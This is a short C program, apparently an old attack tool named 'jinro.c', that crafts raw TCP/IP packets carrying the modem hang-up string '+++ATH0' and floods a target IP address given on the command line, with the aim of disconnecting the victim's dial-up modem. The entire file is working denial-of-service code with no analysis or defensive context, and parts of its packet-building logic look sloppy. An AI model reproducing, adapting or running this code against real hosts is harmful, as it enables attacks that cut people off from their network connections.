char about[] = "jinro.c by Sorcerer of DALnet";

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#define DUP_COUNT 3;

char hup[] = "+++ATH0\r";

struct tcp {
   unsigned char verihl;
   unsigned char tos;
   unsigned short len;
   unsigned short id;
   unsigned short flg_ofs;
   unsigned char ttl;
   unsigned char proto;
   unsigned short ipsum;
   unsigned long src;
   unsigned long dst;
   unsigned short sport;
   unsigned short dport;
   unsigned long seq;
   unsigned long ack_seq;
   unsigned char offset;
   unsigned char flags;
   unsigned short win;
   unsigned short tcpsum;
   unsigned short urgptr;
   char data[10];
};



main(int argc,char *argv[]) {
   struct tcp tcp;
   int sock = socket(PF_INET,SOCK_RAW,6),one=1;
   struct sockaddr_in targ;
   unsigned short tmp,pos,dup;

   register int count,sum;
   register unsigned short *p;

   if((sock==-1) ||
      (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)))
      ) {
      fprintf(stderr,"failed to create raw socket\n");
      exit(1);
   }

   if(argc<2) {
      fprintf(stderr,"%s <target>\n",argv[0]);
      exit(1);
   }

   printf("%s\n",&about[0]);

   targ.sin_addr.s_addr = inet_addr(argv[1]);
   targ.sin_family      = AF_INET;

   tcp.verihl          = 69;
   tcp.tos             = 16;
   tcp.len             = htons(sizeof(struct tcp));
   tcp.id              = random() | 1;
   tcp.flg_ofs         = 64;
   tcp.ttl             = 128;
   tcp.proto           = 6;
   tcp.ipsum           = 0;

   tcp.offset          = 112;
   tcp.flags           = 8;
   tcp.win             = htons(8192);
   tcp.urgptr          = 0;

   pos = 3;

   while(pos++<255) {

      hup[0]=pos;
      hup[1]=pos;
      hup[2]=pos;

      strncpy((char *)&tcp.dst,&hup[0],8);

      tmp                 = tcp.sport;
      tcp.sport           = tcp.dport;
      tcp.dport           = tmp;
      tcp.src             = tcp.dst;
      tcp.dst             = targ.sin_addr.s_addr;

      count = (sizeof(struct tcp) - 20) >> 1;
      p = (unsigned short *) &tcp.sport;

      sum = (tcp.src >> 16) + (tcp.src & 0xffff) + (tcp.dst >> 16) +
	(tcp.dst & 0xffff) + 1536 + htons(count << 1);

      tcp.tcpsum = 0;
      while(count--) sum += *p++;
      sum = (sum >> 16) + (sum & 0xffff);
      tcp.tcpsum = ~(sum += (sum >> 16));

      targ.sin_port = tcp.dport;

      dup =
#ifdef DUP_COUNT
	DUP_COUNT
#else
	1
#endif
	;
      while(dup--) if(
		      sendto(sock,&tcp,sizeof(struct tcp),0,
			     (struct sockaddr *)&targ,sizeof(targ))
		      ==-1) {
	 fprintf(stderr,"failed to send packet\n");
	 exit(3);
      }
      usleep(10000);
   }
}